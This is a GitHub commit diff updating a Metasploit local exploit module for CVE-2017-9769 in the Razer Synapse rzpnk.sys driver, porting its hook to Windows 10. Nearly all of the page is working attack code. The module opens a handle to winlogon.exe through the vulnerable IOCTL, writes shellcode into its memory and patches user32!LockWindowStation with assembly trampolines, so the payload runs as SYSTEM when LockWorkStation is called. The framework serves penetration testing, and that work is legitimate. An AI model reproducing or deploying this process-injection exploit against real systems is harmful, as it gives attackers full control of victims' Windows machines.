Skip to content

Commit 5470670

Browse files
committed
Change the hook for windows 10 compatibility
1 parent 53d5060 commit 5470670

File tree

1 file changed

+41
-33
lines changed

1 file changed

+41
-33
lines changed

modules/exploits/windows/local/razer_zwopenprocess.rb

Lines changed: 41 additions & 33 deletions
Original file line numberDiff line numberDiff line change
@@ -13,26 +13,29 @@ class MetasploitModule < Msf::Exploit::Remote
1313
include Msf::Exploit::Local::WindowsKernel
1414
include Msf::Post::Windows::Priv
1515

16+
# the max size our hook can be, used before it's generated for the allocation
17+
HOOK_STUB_MAX_LENGTH = 256
18+
1619
def initialize(info = {})
1720
super(update_info(info,
18-
'Name' => 'Razer Synapse rzpnk.sys IOCTL',
21+
'Name' => 'Razer Synapse rzpnk.sys ZwOpenProcess',
1922
'Description' => %q{
2023
A vulnerability exists in the latest version of Razer Synapse
21-
(v2.20.17.302) which can be leveraged locally by a malicious application
22-
to elevate its privileges to those of NT_AUTHORITY\SYSTEM. The
23-
vulnerability lies in a specific IOCTL handler in the rzpnk.sys driver
24-
that passes a PID specified by the user to ZwOpenProcess. This can be
25-
issued by an application to open a handle to an arbitrary process with
26-
the necessary privileges to allocate, read and write memory in the
27-
specified process.
24+
(v2.20.15.1104 as of the day of disclosure) which can be leveraged
25+
locally by a malicious application to elevate its privileges to those of
26+
NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler
27+
in the rzpnk.sys driver that passes a PID specified by the user to
28+
ZwOpenProcess. This can be issued by an application to open a handle to
29+
an arbitrary process with the necessary privileges to allocate, read and
30+
write memory in the specified process.
2831
2932
This exploit leverages this vulnerability to open a handle to the
3033
winlogon process (which runs as NT_AUTHORITY\SYSTEM) and infect it by
31-
installing hooks to execute attacker controlled shellcode. These hooks
32-
are then triggered on demand by calling user32!LockWorkStation(),
33-
resulting in the attacker's payload being executed with the privileges
34-
of the infected winlogon process. In order for the issued IOCTL to work,
35-
the RazerIngameEngine.exe process must not be running. This exploit will
34+
installing a hook to execute attacker controlled shellcode. This hook is
35+
then triggered on demand by calling user32!LockWorkStation(), resulting
36+
in the attacker's payload being executed with the privileges of the
37+
infected winlogon process. In order for the issued IOCTL to work, the
38+
RazerIngameEngine.exe process must not be running. This exploit will
3639
check if it is, and attempt to kill it as necessary.
3740
3841
The vulnerable software can be found here:
@@ -45,20 +48,21 @@ def initialize(info = {})
4548
'Author' => 'Spencer McIntyre',
4649
'License' => MSF_LICENSE,
4750
'References' => [
48-
['CVE', 'CVE-2017-9769'],
49-
#['URL', ''],
51+
['CVE', '2017-9769'],
52+
['URL', 'https://warroom.securestate.com/cve-2017-9769/']
5053
],
5154
'Platform' => 'win',
5255
'Targets' =>
5356
[
5457
# Tested on (64 bits):
5558
# * Windows 7 SP1
56-
# * Windows 10.0.14385
59+
# * Windows 10.0.10586
5760
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
5861
],
5962
'DefaultOptions' =>
6063
{
61-
'EXITFUNC' => 'thread'
64+
'EXITFUNC' => 'thread',
65+
'WfsDelay' => 20
6266
},
6367
'DefaultTarget' => 0,
6468
'Privileged' => true,
@@ -103,42 +107,47 @@ def exploit
103107
end
104108

105109
pid = session.sys.process['winlogon.exe']
106-
print_status("Found winlogon.exe pid: #{pid}")
110+
print_status("Found winlogon pid: #{pid}")
107111

108112
handle = get_handle(pid)
109113
fail_with(Failure::NotVulnerable, 'Failed to open the process handle') if handle.nil?
114+
vprint_status('Successfully opened a handle to the winlogon process')
110115

111116
winlogon = session.sys.process.new(pid, handle)
112-
shellcode_address = winlogon.memory.allocate(4096)
117+
allocation_size = payload.encoded.length + HOOK_STUB_MAX_LENGTH
118+
shellcode_address = winlogon.memory.allocate(allocation_size)
113119
winlogon.memory.protect(shellcode_address)
114-
print_good("Allocated 4096 bytes in winlogon.exe at 0x#{shellcode_address.to_s(16)}")
120+
print_good("Allocated #{allocation_size} bytes in winlogon at 0x#{shellcode_address.to_s(16)}")
115121
winlogon.memory.write(shellcode_address, payload.encoded)
116122
hook_stub_address = shellcode_address + payload.encoded.length
117123

118-
result = session.railgun.kernel32.LoadLibraryA('winsta')
119-
fail_with(Failure::Unknown, 'Failed to get a handle to winsta.dll') if result['return'] == 0
120-
winsta_handle = result['return']
124+
result = session.railgun.kernel32.LoadLibraryA('user32')
125+
fail_with(Failure::Unknown, 'Failed to get a handle to user32.dll') if result['return'] == 0
126+
user32_handle = result['return']
121127

122128
# resolve and backup the functions that we'll install trampolines in
123-
winsta_trampolines = {} # address => original chunk
124-
winsta_functions = ['_WinStationWaitForConnect', 'WinStationIsSessionRemoteable']
125-
winsta_functions.each do |function|
126-
address = get_address(winsta_handle, function)
129+
user32_trampolines = {} # address => original chunk
130+
user32_functions = ['LockWindowStation']
131+
user32_functions.each do |function|
132+
address = get_address(user32_handle, function)
127133
winlogon.memory.protect(address)
128-
winsta_trampolines[function] = {
134+
user32_trampolines[function] = {
129135
address: address,
130136
original: winlogon.memory.read(address, 24)
131137
}
132138
end
133139

134140
# generate and install the hook asm
135-
hook_stub = get_hook(shellcode_address, winsta_trampolines)
141+
hook_stub = get_hook(shellcode_address, user32_trampolines)
136142
fail_with(Failure::Unknown, 'Failed to generate the hook stub') if hook_stub.nil?
143+
# if this happens, there was a programming error
144+
fail_with(Failure::Unknown, 'The hook stub is too large, please update HOOK_STUB_MAX_LENGTH') if hook_stub.length > HOOK_STUB_MAX_LENGTH
145+
137146
winlogon.memory.write(hook_stub_address, hook_stub)
138-
vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon.exe at 0x#{hook_stub_address}")
147+
vprint_status("Wrote the #{hook_stub.length} byte hook stub in winlogon at 0x#{hook_stub_address.to_s(16)}")
139148

140149
# install the asm trampolines to jump to the hook
141-
winsta_trampolines.each do |function, trampoline_info|
150+
user32_trampolines.each do |function, trampoline_info|
142151
address = trampoline_info[:address]
143152
trampoline = Metasm::Shellcode.assemble(Metasm::X86_64.new, %{
144153
mov rax, 0x#{address.to_s(16)}
@@ -147,7 +156,7 @@ def exploit
147156
jmp rax
148157
}).encode_string
149158
winlogon.memory.write(address, trampoline)
150-
vprint_status("Installed winsta!#{address} trampoline at 0x#{address.to_s(16)}")
159+
vprint_status("Installed user32!#{function} trampoline at 0x#{address.to_s(16)}")
151160
end
152161

153162
session.railgun.user32.LockWorkStation()
@@ -241,7 +250,6 @@ def get_hook(shellcode_address, restore)
241250
pop r9
242251
ret
243252
}
244-
print_line(stub)
245253
Metasm::Shellcode.assemble(Metasm::X86_64.new, stub).encode_string
246254
end
247255
end

0 commit comments

Comments
 (0)